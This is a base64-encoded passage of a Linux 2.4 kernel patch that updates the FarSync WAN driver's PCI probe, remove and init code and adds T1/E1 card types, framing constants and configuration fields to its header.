KiBUaGVyZSBhcmUgY2FyZHMgdG8gZXhjbHVkZQorCQkgKgorCQkgKi8KKwkJZm9yIChpID0gMDsg aSA8IGZzdF9leGNsdWRlZF9jYXJkczsgaSsrKSB7CisJCQlpZiAoKHBkZXYtPmRldmZuKSA+PiAz ID09IGZzdF9leGNsdWRlZF9saXN0W2ldKSB7CisJCQkJcHJpbnRrX2luZm8oIkZhclN5bmMgUENJ IGRldmljZSAlZCBub3QgYXNzaWduZWRcbiIsCisJCQkJICAgICAgIChwZGV2LT5kZXZmbikgPj4g Myk7CisJCQkJcmV0dXJuIC1FQlVTWTsKKwkJCX0KKwkJfQorCX0KKworCS8qIEFsbG9jYXRlIGRy aXZlciBwcml2YXRlIGRhdGEgKi8KKwljYXJkID0ga21hbGxvYyhzaXplb2YgKHN0cnVjdCBmc3Rf Y2FyZF9pbmZvKSwgR0ZQX0tFUk5FTCk7CisJaWYgKGNhcmQgPT0gTlVMTCkgeworCQlwcmludGtf ZXJyKCJGYXJTeW5jIGNhcmQgZm91bmQgYnV0IGluc3VmZmljaWVudCBtZW1vcnkgZm9yIgorCQkJ ICAgIiBkcml2ZXIgc3RvcmFnZVxuIik7CisJCXJldHVybiAtRU5PTUVNOworCX0KKwltZW1zZXQo Y2FyZCwgMCwgc2l6ZW9mIChzdHJ1Y3QgZnN0X2NhcmRfaW5mbykpOworCisJLyogVHJ5IHRvIGVu YWJsZSB0aGUgZGV2aWNlICovCisJaWYgKChlcnIgPSBwY2lfZW5hYmxlX2RldmljZShwZGV2KSkg IT0gMCkgeworCQlwcmludGtfZXJyKCJGYWlsZWQgdG8gZW5hYmxlIGNhcmQuIEVyciAlZFxuIiwg LWVycik7CisJCWtmcmVlKGNhcmQpOworCQlyZXR1cm4gZXJyOworCX0KIAorCWlmICgoZXJyID0g cGNpX3JlcXVlc3RfcmVnaW9ucyhwZGV2LCAiRmFyU3luYyIpKSAhPTApIHsKKwkgICAgICAgIHBy aW50a19lcnIoIkZhaWxlZCB0byBhbGxvY2F0ZSByZWdpb25zLiBFcnIgJWRcbiIsIC1lcnIpOwor CQlwY2lfZGlzYWJsZV9kZXZpY2UocGRldik7CisJCWtmcmVlKGNhcmQpOworCSAgICAgICAgcmV0 dXJuIGVycjsKKwl9CisKKwkvKiBHZXQgdmlydHVhbCBhZGRyZXNzZXMgb2YgbWVtb3J5IHJlZ2lv bnMgKi8KKwljYXJkLT5wY2lfY29uZiA9IHBjaV9yZXNvdXJjZV9zdGFydChwZGV2LCAxKTsKKwlj YXJkLT5waHlzX21lbSA9IHBjaV9yZXNvdXJjZV9zdGFydChwZGV2LCAyKTsKKwljYXJkLT5waHlz X2N0bG1lbSA9IHBjaV9yZXNvdXJjZV9zdGFydChwZGV2LCAzKTsKKwlpZiAoKGNhcmQtPm1lbSA9 IGlvcmVtYXAoY2FyZC0+cGh5c19tZW0sIEZTVF9NRU1TSVpFKSkgPT0gTlVMTCkgeworCQlwcmlu dGtfZXJyKCJQaHlzaWNhbCBtZW1vcnkgcmVtYXAgZmFpbGVkXG4iKTsKKwkJcGNpX3JlbGVhc2Vf cmVnaW9ucyhwZGV2KTsKKwkJcGNpX2Rpc2FibGVfZGV2aWNlKHBkZXYpOworCQlrZnJlZShjYXJk KTsKKwkJcmV0dXJuIC1FTk9ERVY7CisJfQorCWlmICgoY2FyZC0+Y3RsbWVtID0gaW9yZW1hcChj YXJkLT5waHlzX2N0bG1lbSwgMHgxMCkpID09IE5VTEwpIHsKKwkJcHJpbnRrX2VycigiQ29udHJv bCBtZW1vcnkgcmVtYXAgZmFpbGVkXG4iKTsKKwkJcGNpX3JlbGVhc2VfcmVnaW9ucyhwZGV2KTsK KwkJcGNpX2Rpc2FibGVfZGV2aWNlKHBkZXYpOworCQlrZnJlZShjYXJkKTsKKwkJcmV0dXJuIC1F Tk9ERVY7CisJfQorCWRiZyhEQkdfUENJLCAia2VybmVsIG1lbSAlcCwgY3RsbWVtICVwXG4iLCBj YXJkLT5tZW0sIGNhcmQtPmN0bG1lbSk7CisKKwkvKiBSZWdpc3RlciB0aGUgaW50ZXJydXB0IGhh bmRsZXIgKi8KKwlpZiAocmVxdWVzdF9pcnEocGRldi0+aXJxLCBmc3RfaW50ciwgU0FfU0hJUlEs IEZTVF9ERVZfTkFNRSwgY2FyZCkpIHsKKwkJcHJpbnRrX2VycigiVW5hYmxlIHRvIHJlZ2lzdGVy IGludGVycnVwdCAlZFxuIiwgY2FyZC0+aXJxKTsKKwkJcGNpX3JlbGVhc2VfcmVnaW9ucyhwZGV2 KTsKKwkJcGNpX2Rpc2FibGVfZGV2aWNlKHBkZXYpOworCQlpb3VubWFwKGNhcmQtPmN0bG1lbSk7 CisJCWlvdW5tYXAoY2FyZC0+bWVtKTsKKwkJa2ZyZWUoY2FyZCk7CisJCXJldHVybiAtRU5PREVW OworCX0KKworCS8qIFJlY29yZCBpbmZvIHdlIG5lZWQgKi8KKwljYXJkLT5pcnEgPSBwZGV2LT5p cnE7CisJY2FyZC0+dHlwZSA9IGVudC0+ZHJpdmVyX2RhdGE7CisJY2FyZC0+ZmFtaWx5ID0gKChl bnQtPmRyaXZlcl9kYXRhID09IEZTVF9UWVBFX1QyUCkgfHwKKwkJCShlbnQtPmRyaXZlcl9kYXRh ID09IEZTVF9UWVBFX1Q0UCkpCisJICAgID8gRlNUX0ZBTUlMWV9UWFAgOiBGU1RfRkFNSUxZX1RY VTsKKwlpZiAoKGVudC0+ZHJpdmVyX2RhdGEgPT0gRlNUX1RZUEVfVDFVKSB8fAorCSAgICAoZW50 LT5kcml2ZXJfZGF0YSA9PSBGU1RfVFlQRV9URTEpKQorCQljYXJkLT5ucG9ydHMgPSAxOworCWVs c2UKKwkJY2FyZC0+bnBvcnRzID0gKChlbnQtPmRyaXZlcl9kYXRhID09IEZTVF9UWVBFX1QyUCkg fHwKKwkJCQkoZW50LT5kcml2ZXJfZGF0YSA9PSBGU1RfVFlQRV9UMlUpKSA/IDIgOiA0OworCisJ Y2FyZC0+c3RhdGUgPSBGU1RfVU5JTklUOworCWNhcmQtPmRldmljZSA9IHBkZXY7CisKKwlkYmco REJHX1BDSSwgInR5cGUgJWQgbnBvcnRzICVkIGlycSAlZFxuIiwgY2FyZC0+dHlwZSwKKwkgICAg Y2FyZC0+bnBvcnRzLCBjYXJkLT5pcnEpOworCWRiZyhEQkdfUENJLCAiY29uZiAlMDR4IG1lbSAl MDh4IGN0bG1lbSAlMDh4XG4iLAorCSAgICBjYXJkLT5wY2lfY29uZiwgY2FyZC0+cGh5c19tZW0s IGNhcmQtPnBoeXNfY3RsbWVtKTsKKworCS8qIFJlc2V0IHRoZSBjYXJkJ3MgcHJvY2Vzc29yICov CisJZnN0X2NwdXJlc2V0KGNhcmQpOworCWNhcmQtPnN0YXRlID0gRlNUX1JFU0VUOworCisJLyog SW5pdGlhbGlzZSBETUEgKGlmIHJlcXVpcmVkKSAqLworCWZzdF9pbml0X2RtYShjYXJkKTsKKwor CS8qIFJlY29yZCBkcml2ZXIgZGF0YSBmb3IgbGF0ZXIgdXNlICovCisJcGNpX3NldF9kcnZkYXRh KHBkZXYsIGNhcmQpOworCisJLyogUmVtYWluZGVyIG9mIGNhcmQgc2V0dXAgKi8KKwlmc3RfY2Fy ZF9hcnJheVtub19vZl9jYXJkc19hZGRlZF0gPSBjYXJkOworCWNhcmQtPmNhcmRfbm8gPSBub19v Zl9jYXJkc19hZGRlZCsrOwkvKiBSZWNvcmQgaW5zdGFuY2UgYW5kIGJ1bXAgaXQgKi8KKwlmc3Rf aW5pdF9jYXJkKGNhcmQpOworCWlmIChjYXJkLT5mYW1pbHkgPT0gRlNUX0ZBTUlMWV9UWFUpIHsK KwkJLyoKKwkJICogQWxsb2NhdGUgYSBkbWEgYnVmZmVyIGZvciB0cmFuc21pdCBhbmQgcmVjZWl2 ZXMKKwkJICovCisJCWNhcmQtPnJ4X2RtYV9oYW5kbGVfaG9zdCA9CisJCSAgICBwY2lfYWxsb2Nf Y29uc2lzdGVudChjYXJkLT5kZXZpY2UsIEZTVF9NQVhfTVRVLAorCQkJCQkgJmNhcmQtPnJ4X2Rt YV9oYW5kbGVfY2FyZCk7CisJCWlmIChjYXJkLT5yeF9kbWFfaGFuZGxlX2hvc3QgPT0gTlVMTCkg eworCQkJcHJpbnRrX2VycigiQ291bGQgbm90IGFsbG9jYXRlIHJ4IGRtYSBidWZmZXJcbiIpOwor CQkJZnN0X2Rpc2FibGVfaW50cihjYXJkKTsKKwkJCXBjaV9yZWxlYXNlX3JlZ2lvbnMocGRldik7 CisJCQlwY2lfZGlzYWJsZV9kZXZpY2UocGRldik7CisJCQlpb3VubWFwKGNhcmQtPmN0bG1lbSk7 CisJCQlpb3VubWFwKGNhcmQtPm1lbSk7CisJCQlrZnJlZShjYXJkKTsKKwkJCXJldHVybiAtRU5P TUVNOworCQl9CisJCWNhcmQtPnR4X2RtYV9oYW5kbGVfaG9zdCA9CisJCSAgICBwY2lfYWxsb2Nf Y29uc2lzdGVudChjYXJkLT5kZXZpY2UsIEZTVF9NQVhfTVRVLAorCQkJCQkgJmNhcmQtPnR4X2Rt YV9oYW5kbGVfY2FyZCk7CisJCWlmIChjYXJkLT50eF9kbWFfaGFuZGxlX2hvc3QgPT0gTlVMTCkg eworCQkJcHJpbnRrX2VycigiQ291bGQgbm90IGFsbG9jYXRlIHR4IGRtYSBidWZmZXJcbiIpOwor CQkJZnN0X2Rpc2FibGVfaW50cihjYXJkKTsKKwkJCXBjaV9yZWxlYXNlX3JlZ2lvbnMocGRldik7 CisJCQlwY2lfZGlzYWJsZV9kZXZpY2UocGRldik7CisJCQlpb3VubWFwKGNhcmQtPmN0bG1lbSk7 CisJCQlpb3VubWFwKGNhcmQtPm1lbSk7CisJCQlrZnJlZShjYXJkKTsKKwkJCXJldHVybiAtRU5P TUVNOworCQl9CisJfQorCXJldHVybiAwOwkJLyogU3VjY2VzcyAqLworfQogCiAvKgogICogICAg ICBDbGVhbnVwIGFuZCBjbG9zZSBkb3duIGEgY2FyZAogICovCiBzdGF0aWMgdm9pZCBfX2RldmV4 aXQKLWZzdF9yZW1vdmVfb25lICggc3RydWN0IHBjaV9kZXYgKnBkZXYgKQorZnN0X3JlbW92ZV9v bmUoc3RydWN0IHBjaV9kZXYgKnBkZXYpCiB7Ci0gICAgICAgIHN0cnVjdCBmc3RfY2FyZF9pbmZv ICpjYXJkOwotICAgICAgICBpbnQgaTsKLQotICAgICAgICBjYXJkID0gcGNpX2dldF9kcnZkYXRh KHBkZXYpOworCXN0cnVjdCBmc3RfY2FyZF9pbmZvICpjYXJkOworCWludCBpOwogCi0gICAgICAg IGZvciAoIGkgPSAwIDsgaSA8IGNhcmQtPm5wb3J0cyA7IGkrKyApCi0gICAgICAgIHsKLSAgICAg ICAgICAgICAgICB1bnJlZ2lzdGVyX2hkbGNfZGV2aWNlICggJmNhcmQtPnBvcnRzW2ldLmhkbGMg KTsKLSAgICAgICAgfQorCWNhcmQgPSBwY2lfZ2V0X2RydmRhdGEocGRldik7CiAKLSAgICAgICAg ZnN0X2Rpc2FibGVfaW50ciAoIGNhcmQgKTsKLSAgICAgICAgZnJlZV9pcnEgKCBjYXJkLT5pcnEs IGNhcmQgKTsKKwlmb3IgKGkgPSAwOyBpIDwgY2FyZC0+bnBvcnRzOyBpKyspIHsKKwkJdW5yZWdp c3Rlcl9oZGxjX2RldmljZSgmY2FyZC0+cG9ydHNbaV0uaGRsYyk7CisJfQogCi0gICAgICAgIGlv dW5tYXAgKCBjYXJkLT5jdGxtZW0gKTsKLSAgICAgICAgaW91bm1hcCAoIGNhcmQtPm1lbSApOwor CWZzdF9kaXNhYmxlX2ludHIoY2FyZCk7CisJZnJlZV9pcnEoY2FyZC0+aXJxLCBjYXJkKTsKIAot ICAgICAgICByZWxlYXNlX21lbV9yZWdpb24gKCBjYXJkLT5waHlzX2N0bG1lbSwgMHgxMCApOwot ICAgICAgICByZWxlYXNlX21lbV9yZWdpb24gKCBjYXJkLT5waHlzX21lbSwgRlNUX01FTVNJWkUg KTsKLSAgICAgICAgcmVsZWFzZV9yZWdpb24gKCBjYXJkLT5wY2lfY29uZiwgMHg4MCApOworCWlv dW5tYXAoY2FyZC0+Y3RsbWVtKTsKKwlpb3VubWFwKGNhcmQtPm1lbSk7CiAKLSAgICAgICAga2Zy ZWUgKCBjYXJkICk7CisJcGNpX3JlbGVhc2VfcmVnaW9ucyhwZGV2KTsKKyNpZiAwCisJcmVsZWFz ZV9tZW1fcmVnaW9uKGNhcmQtPnBoeXNfY3RsbWVtLCAweDEwKTsKKwlyZWxlYXNlX21lbV9yZWdp b24oY2FyZC0+cGh5c19tZW0sIEZTVF9NRU1TSVpFKTsKKwlpZiAoY2FyZC0+ZmFtaWx5ID09IEZT VF9GQU1JTFlfVFhVKSB7CisJCXJlbGVhc2VfcmVnaW9uKGNhcmQtPnBjaV9jb25mLCAweDEwMCk7 CisJfSBlbHNlIHsKKwkJcmVsZWFzZV9yZWdpb24oY2FyZC0+cGNpX2NvbmYsIDB4ODApOworCX0K KyNlbmRpZgorCWlmIChjYXJkLT5mYW1pbHkgPT0gRlNUX0ZBTUlMWV9UWFUpIHsKKwkJLyoKKwkJ ICogRnJlZSBkbWEgYnVmZmVycworCQkgKi8KKwkJcGNpX2ZyZWVfY29uc2lzdGVudChjYXJkLT5k ZXZpY2UsIEZTVF9NQVhfTVRVLAorCQkJCSAgICBjYXJkLT5yeF9kbWFfaGFuZGxlX2hvc3QsCisJ CQkJICAgIGNhcmQtPnJ4X2RtYV9oYW5kbGVfY2FyZCk7CisJCXBjaV9mcmVlX2NvbnNpc3RlbnQo Y2FyZC0+ZGV2aWNlLCBGU1RfTUFYX01UVSwKKwkJCQkgICAgY2FyZC0+dHhfZG1hX2hhbmRsZV9o b3N0LAorCQkJCSAgICBjYXJkLT50eF9kbWFfaGFuZGxlX2NhcmQpOworCX0KKwlmc3RfY2FyZF9h cnJheVtjYXJkLT5jYXJkX25vXSA9IE5VTEw7CiB9CiAKIHN0YXRpYyBzdHJ1Y3QgcGNpX2RyaXZl ciBmc3RfZHJpdmVyID0gewotICAgICAgICBuYW1lOiAgICAgICAgICAgRlNUX05BTUUsCi0gICAg ICAgIGlkX3RhYmxlOiAgICAgICBmc3RfcGNpX2Rldl9pZCwKLSAgICAgICAgcHJvYmU6ICAgICAg ICAgIGZzdF9hZGRfb25lLAotICAgICAgICByZW1vdmU6ICAgICAgICAgX19kZXZleGl0X3AoZnN0 X3JlbW92ZV9vbmUpLAotICAgICAgICBzdXNwZW5kOiAgICAgICAgTlVMTCwKLSAgICAgICAgcmVz dW1lOiAgICAgICAgIE5VTEwsCisJbmFtZTpGU1RfTkFNRSwKKwlpZF90YWJsZTpmc3RfcGNpX2Rl dl9pZCwKKwlwcm9iZTpmc3RfYWRkX29uZSwKKwlyZW1vdmU6X19kZXZleGl0X3AoZnN0X3JlbW92 ZV9vbmUpLAorCXN1c3BlbmQ6TlVMTCwKKwlyZXN1bWU6TlVMTCwKIH07CiAKIHN0YXRpYyBpbnQg X19pbml0CiBmc3RfaW5pdCh2b2lkKQogewotICAgICAgICByZXR1cm4gcGNpX21vZHVsZV9pbml0 ICggJmZzdF9kcml2ZXIgKTsKKwlpbnQgaTsKKworCWZvciAoaSA9IDA7IGkgPCBGU1RfTUFYX0NB UkRTOyBpKyspCisJCWZzdF9jYXJkX2FycmF5W2ldID0gTlVMTDsKKwlzcGluX2xvY2tfaW5pdCgm ZnN0X3dvcmtfcV9sb2NrKTsKKwlyZXR1cm4gcGNpX21vZHVsZV9pbml0KCZmc3RfZHJpdmVyKTsK IH0KIAogc3RhdGljIHZvaWQgX19leGl0CiBmc3RfY2xlYW51cF9tb2R1bGUodm9pZCkKIHsKLSAg ICAgICAgcGNpX3VucmVnaXN0ZXJfZHJpdmVyICggJmZzdF9kcml2ZXIgKTsKKwlwcmludGtfaW5m bygiRmFyU3luYyBXQU4gZHJpdmVyIHVubG9hZGluZ1xuIik7CisJcGNpX3VucmVnaXN0ZXJfZHJp dmVyKCZmc3RfZHJpdmVyKTsKIH0KIAotbW9kdWxlX2luaXQgKCBmc3RfaW5pdCApOwotbW9kdWxl X2V4aXQgKCBmc3RfY2xlYW51cF9tb2R1bGUgKTsKLQorbW9kdWxlX2luaXQoZnN0X2luaXQpOwor bW9kdWxlX2V4aXQoZnN0X2NsZWFudXBfbW9kdWxlKTsKZGlmZiAtdXJOIGxpbnV4LTIuNC4yNy1w cmUxL2RyaXZlcnMvbmV0L3dhbi9mYXJzeW5jLmggbGludXgtMi40LjI3LXByZTEtbmV3L2RyaXZl cnMvbmV0L3dhbi9mYXJzeW5jLmgKLS0tIGxpbnV4LTIuNC4yNy1wcmUxL2RyaXZlcnMvbmV0L3dh bi9mYXJzeW5jLmgJMjAwMy0wNi0xMyAxNTo1MTozNS4wMDAwMDAwMDAgKzAxMDAKKysrIGxpbnV4 LTIuNC4yNy1wcmUxLW5ldy9kcml2ZXJzL25ldC93YW4vZmFyc3luYy5oCTIwMDQtMDQtMjYgMTg6 NTg6MDkuMDAwMDAwMDAwICswMTAwCkBAIC0zMiw4ICszMiwxMyBAQAogICogICAgICBBIHNob3J0 IGNvbW1vbiBwcmVmaXggaXMgdXNlZnVsIGZvciByb3V0aW5lcyB3aXRoaW4gdGhlIGRyaXZlciB0 byBhdm9pZAogICogICAgICBjb25mbGljdCB3aXRoIG90aGVyIHNpbWlsYXIgZHJpdmVycyBhbmQg SSBjaG9zZW4gdG8gdXNlICJmc3RfIiBmb3IgdGhpcwogICogICAgICBwdXJwb3NlIChGYXJTaXRl IFQtc2VyaWVzKS4KKyAqCisgKiAgICAgIEZpbmFsbHkgdGhlIGRldmljZSBkcml2ZXIgbmVlZHMg YSBzaG9ydCBuZXR3b3JrIGludGVyZmFjZSBuYW1lLiBTaW5jZQorICogICAgICAiaGRsYyIgaXMg YWxyZWFkeSBpbiB1c2UgSSd2ZSBjaG9zZW4gdGhlIGV2ZW4gbGVzcyBpbmZvcm1hdGl2ZSAic3lu YyIKKyAqICAgICAgZm9yIHRoZSBwcmVzZW50LgogICovCiAjZGVmaW5lIEZTVF9OQU1FICAgICAg ICAgICAgICAgICJmc3QiICAgICAgICAgICAvKiBJbiBkZWJ1Zy9pbmZvIGV0YyAqLworI2RlZmlu ZSBGU1RfTkRFVl9OQU1FICAgICAgICAgICAic3luYyIgICAgICAgICAgLyogRm9yIG5ldCBpbnRl cmZhY2UgKi8KICNkZWZpbmUgRlNUX0RFVl9OQU1FICAgICAgICAgICAgImZhcnN5bmMiICAgICAg IC8qIEZvciBtaXNjIGludGVyZmFjZXMgKi8KIAogCkBAIC00NSw3ICs1MCw3IEBACiAgKiAgICAg IGhhdmUgaW5kaXZpZHVhbCB2ZXJzaW9ucyAob3IgSURzKSB0aGF0IG1vdmUgbXVjaCBmYXN0ZXIg dGhhbiB0aGUKICAqICAgICAgdGhlIHJlbGVhc2UgdmVyc2lvbiBhcyBpbmRpdmlkdWFsIHVwZGF0 ZXMgYXJlIHRyYWNrZWQuCiAgKi8KLSNkZWZpbmUgRlNUX1VTRVJfVkVSU0lPTiAgICAgICAgIjAu MDkiCisjZGVmaW5lIEZTVF9VU0VSX1ZFUlNJT04gICAgICAgICIxLjA0IgogCiAKIC8qICAgICAg SW9jdGwgY2FsbCBjb21tYW5kIHZhbHVlcwpAQCAtMTAwLDYgKzEwNSw3IEBACiAgICAgICAgIHVu c2lnbmVkIGludCAgIHN0YXRlOyAgICAgICAgICAgLyogU3RhdGUgb2YgY2FyZCAqLwogICAgICAg ICB1bnNpZ25lZCBpbnQgICBpbmRleDsgICAgICAgICAgIC8qIEluZGV4IG9mIHBvcnQgaW9jdGwg d2FzIGlzc3VlZCBvbiAqLwogICAgICAgICB1bnNpZ25lZCBpbnQgICBzbWNGaXJtd2FyZVZlcnNp b247CisgICAgICAgIHVuc2lnbmVkIGxvbmcgIGtlcm5lbFZlcnNpb247ICAgLyogV2hhdCBLZXJu ZWwgdmVyc2lvbiB3ZSBhcmUgd29ya2luZyB3aXRoICovCiAgICAgICAgIHVuc2lnbmVkIHNob3J0 IGxpbmVJbnRlcmZhY2U7ICAgLyogUGh5c2ljYWwgaW50ZXJmYWNlIHR5cGUgKi8KICAgICAgICAg dW5zaWduZWQgY2hhciAgcHJvdG87ICAgICAgICAgICAvKiBMaW5lIHByb3RvY29sICovCiAgICAg ICAgIHVuc2lnbmVkIGNoYXIgIGludGVybmFsQ2xvY2s7ICAgLyogMSA9PiBpbnRlcm5hbCBjbG9j aywgMCA9PiBleHRlcm5hbCAqLwpAQCAtMTEwLDYgKzExNiwzMSBAQAogICAgICAgICB1bnNpZ25l ZCBzaG9ydCBjYWJsZVN0YXR1czsgICAgIC8qIGxzYjogMD0+IHByZXNlbnQsIDE9PiBhYnNlbnQg Ki8KICAgICAgICAgdW5zaWduZWQgc2hvcnQgY2FyZE1vZGU7ICAgICAgICAvKiBsc2I6IExFRCBp ZCBtb2RlICovCiAgICAgICAgIHVuc2lnbmVkIHNob3J0IGRlYnVnOyAgICAgICAgICAgLyogRGVi dWcgZmxhZ3MgKi8KKyAgICAgICAgdW5zaWduZWQgY2hhciAgdHJhbnNwYXJlbnRNb2RlOyAvKiBO b3QgdXNlZCBhbHdheXMgMCAqLworICAgICAgICB1bnNpZ25lZCBjaGFyICBpbnZlcnRDbG9jazsg ICAgIC8qIEludmVydCBjbG9jayBmZWF0dXJlIGZvciBzeW5jaW5nICovCisgICAgICAgIHVuc2ln bmVkIGNoYXIgIHN0YXJ0aW5nU2xvdDsgICAgLyogVGltZSBzbG90IHRvIHVzZSBmb3Igc3RhcnQg b2YgdHggKi8KKyAgICAgICAgdW5zaWduZWQgY2hhciAgY2xvY2tTb3VyY2U7ICAgICAvKiBFeHRl cm5hbCBvciBpbnRlcm5hbCAqLworICAgICAgICB1bnNpZ25lZCBjaGFyICBmcmFtaW5nOyAgICAg ICAgIC8qIEUxLCBUMSBvciBKMSAqLworICAgICAgICB1bnNpZ25lZCBjaGFyICBzdHJ1Y3R1cmU7 ICAgICAgIC8qIHVuZnJhbWVkLCBkb3VibGUsIGNyYzQsIGY0LCBmMTIsICovCisgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLyogZjI0IGY3MiAqLworICAgICAgICB1bnNp Z25lZCBjaGFyICBpbnRlcmZhY2U7ICAgICAgIC8qIHJqNDhjIG9yIGJuYyAqLworICAgICAgICB1 bnNpZ25lZCBjaGFyICBjb2Rpbmc7ICAgICAgICAgIC8qIGhkYjMgYjh6cyAqLworICAgICAgICB1 bnNpZ25lZCBjaGFyICBsaW5lQnVpbGRPdXQ7ICAgIC8qIDAsIC03LjUsIC0xNSwgLTIyICovCisg ICAgICAgIHVuc2lnbmVkIGNoYXIgIGVxdWFsaXplcjsgICAgICAgLyogc2hvcnQgb3IgbG9uIGhh dWwgc2V0dGluZ3MgKi8KKyAgICAgICAgdW5zaWduZWQgY2hhciAgbG9vcE1vZGU7ICAgICAgICAv KiB2YXJpb3VzIGxvb3BiYWNrcyAqLworICAgICAgICB1bnNpZ25lZCBjaGFyICByYW5nZTsgICAg ICAgICAgIC8qIGNhYmxlIGxlbmd0aHMgKi8KKyAgICAgICAgdW5zaWduZWQgY2hhciAgdHhCdWZm ZXJNb2RlOyAgICAvKiB0eCBlbGFzdGljIGJ1ZmZlciBkZXB0aCAqLworICAgICAgICB1bnNpZ25l ZCBjaGFyICByeEJ1ZmZlck1vZGU7ICAgIC8qIHJ4IGVsYXN0aWMgYnVmZmVyIGRlcHRoICovCisg ICAgICAgIHVuc2lnbmVkIGNoYXIgIGxvc1RocmVzaG9sZDsgICAgLyogQXR0ZW51YXRpb24gb24g TE9TIHNpZ25hbCAqLworICAgICAgICB1bnNpZ25lZCBjaGFyICBpZGxlQ29kZTsgICAgICAgIC8q IFZhbHVlIHRvIHNlbmQgYXMgaWRsZSB0aW1lc2xvdCAqLworICAgICAgICB1bnNpZ25lZCBpbnQg ICByZWNlaXZlQnVmZmVyRGVsYXk7IC8qIGRlbGF5IHRocm8gcnggYnVmZmVyIHRpbWVzbG90cyAq LworICAgICAgICB1bnNpZ25lZCBpbnQgICBmcmFtaW5nRXJyb3JDb3VudDsgLyogZnJhbWluZyBl cnJvcnMgKi8KKyAgICAgICAgdW5zaWduZWQgaW50ICAgY29kZVZpb2xhdGlvbkNvdW50OyAvKiBj b2RlIHZpb2xhdGlvbnMgKi8KKyAgICAgICAgdW5zaWduZWQgaW50ICAgY3JjRXJyb3JDb3VudDsg ICAvKiBDUkMgZXJyb3JzICovCisgICAgICAgIGludCAgICAgICAgICAgIGxpbmVBdHRlbnVhdGlv bjsgLyogaW4gZEIqLworICAgICAgICB1bnNpZ25lZCBzaG9ydCBsb3NzT2ZTaWduYWw7CisgICAg ICAgIHVuc2lnbmVkIHNob3J0IHJlY2VpdmVSZW1vdGVBbGFybTsKKyAgICAgICAgdW5zaWduZWQg c2hvcnQgYWxhcm1JbmRpY2F0aW9uU2lnbmFsOwogfTsKIAogLyogInZhbGlkIiBiaXRtYXNrICov CkBAIC0xMzEsMTMgKzE2MiwyMyBAQAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAqLwogI2RlZmluZSBGU1RWQUxfUFJPVE8gICAgMHgwMDAwMDIwMCAgICAgIC8qIHBy b3RvICovCiAjZGVmaW5lIEZTVFZBTF9NT0RFICAgICAweDAwMDAwNDAwICAgICAgLyogY2FyZE1v ZGUgKi8KKyNkZWZpbmUgRlNUVkFMX1BIQVNFICAgIDB4MDAwMDA4MDAgICAgICAvKiBDbG9jayBw aGFzZSAqLworI2RlZmluZSBGU1RWQUxfVEUxICAgICAgMHgwMDAwMTAwMCAgICAgIC8qIFQxRTEg Q29uZmlndXJhdGlvbiAqLwogI2RlZmluZSBGU1RWQUxfREVCVUcgICAgMHg4MDAwMDAwMCAgICAg IC8qIGRlYnVnICovCi0jZGVmaW5lIEZTVFZBTF9BTEwgICAgICAweDAwMDAwN0ZGICAgICAgLyog Tm90ZTogZG9lcyBub3QgaW5jbHVkZSBERUJVRyBmbGFnICovCisjZGVmaW5lIEZTVFZBTF9BTEwg ICAgICAweDAwMDAxRkZGICAgICAgLyogTm90ZTogZG9lcyBub3QgaW5jbHVkZSBERUJVRyBmbGFn ICovCiAKIC8qICJ0eXBlIiAqLwogI2RlZmluZSBGU1RfVFlQRV9OT05FICAgMCAgICAgICAgICAg ICAgIC8qIFByb2JhYmx5IHNob3VsZCBuZXZlciBoYXBwZW4gKi8KICNkZWZpbmUgRlNUX1RZUEVf VDJQICAgIDEgICAgICAgICAgICAgICAvKiBUMlAgWDIxIDIgcG9ydCBjYXJkICovCiAjZGVmaW5l IEZTVF9UWVBFX1Q0UCAgICAyICAgICAgICAgICAgICAgLyogVDRQIFgyMSA0IHBvcnQgY2FyZCAq LworI2RlZmluZSBGU1RfVFlQRV9UMVUgICAgMyAgICAgICAgICAgICAgIC8qIFQxVSBYMjEgMSBw b3J0IGNhcmQgKi8KKyNkZWZpbmUgRlNUX1RZUEVfVDJVICAgIDQgICAgICAgICAgICAgICAvKiBU MlUgWDIxIDIgcG9ydCBjYXJkICovCisjZGVmaW5lIEZTVF9UWVBFX1Q0VSAgICA1ICAgICAgICAg ICAgICAgLyogVDRVIFgyMSA0IHBvcnQgY2FyZCAqLworI2RlZmluZSBGU1RfVFlQRV9URTEgICAg NiAgICAgICAgICAgICAgIC8qIFQxRTEgWDIxIDEgcG9ydCBjYXJkICovCisKKy8qICJmYW1pbHki ICovCisjZGVmaW5lIEZTVF9GQU1JTFlfVFhQICAwICAgICAgICAgICAgICAgLyogVDJQIG9yIFQ0 UCAqLworI2RlZmluZSBGU1RfRkFNSUxZX1RYVSAgMSAgICAgICAgICAgICAgIC8qIFQxVSBvciBU MlUgb3IgVDRVICovCiAKIC8qICJzdGF0ZSIgKi8KICNkZWZpbmUgRlNUX1VOSU5JVCAgICAgIDAg ICAgICAgICAgICAgICAvKiBSYXcgdW5pbml0aWFsaXNlZCBzdGF0ZSBmb2xsb3dpbmcKQEAgLTE1 NSw2ICsxOTYsMTAgQEAKICNkZWZpbmUgVjI0ICAgICAgICAgICAgIDEKICNkZWZpbmUgWDIxICAg ICAgICAgICAgIDIKICNkZWZpbmUgVjM1ICAgICAgICAgICAgIDMKKyNkZWZpbmUgWDIxRCAgICAg ICAgICAgIDQKKyNkZWZpbmUgVDEgICAgICAgICAgICAgIDUKKyNkZWZpbmUgRTEgICAgICAgICAg ICAgIDYKKyNkZWZpbmUgSjEgICAgICAgICAgICAgIDcKIAogLyogInByb3RvIiAqLwogI2RlZmlu ZSBGU1RfSERMQyAgICAgICAgMSAgICAgICAgICAgICAgIC8qIENpc2NvIGNvbXBhdGlibGUgSERM QyAqLwpAQCAtMTg3LDYgKzIzMiw5NyBAQAogLyogImNhcmRNb2RlIiBiaXRtYXNrICovCiAjZGVm aW5lIENBUkRfTU9ERV9JREVOVElGWSAgICAgIDB4MDAwMQogCisvKiAKKyAqIENvbnN0YW50cyBm b3IgVDEvRTEgY29uZmlndXJhdGlvbgorICovCisKKy8qCisgKiBDbG9jayBzb3VyY2UKKyAqLwor I2RlZmluZSBDTE9DS0lOR19TTEFWRSAgICAgICAwCisjZGVmaW5lIENMT0NLSU5HX01BU1RFUiAg ICAgIDEKKworLyoKKyAqIEZyYW1pbmcKKyAqLworI2RlZmluZSBGUkFNSU5HX0UxICAgICAgICAg ICAwCisjZGVmaW5lIEZSQU1JTkdfSjEgICAgICAgICAgIDEKKyNkZWZpbmUgRlJBTUlOR19UMSAg 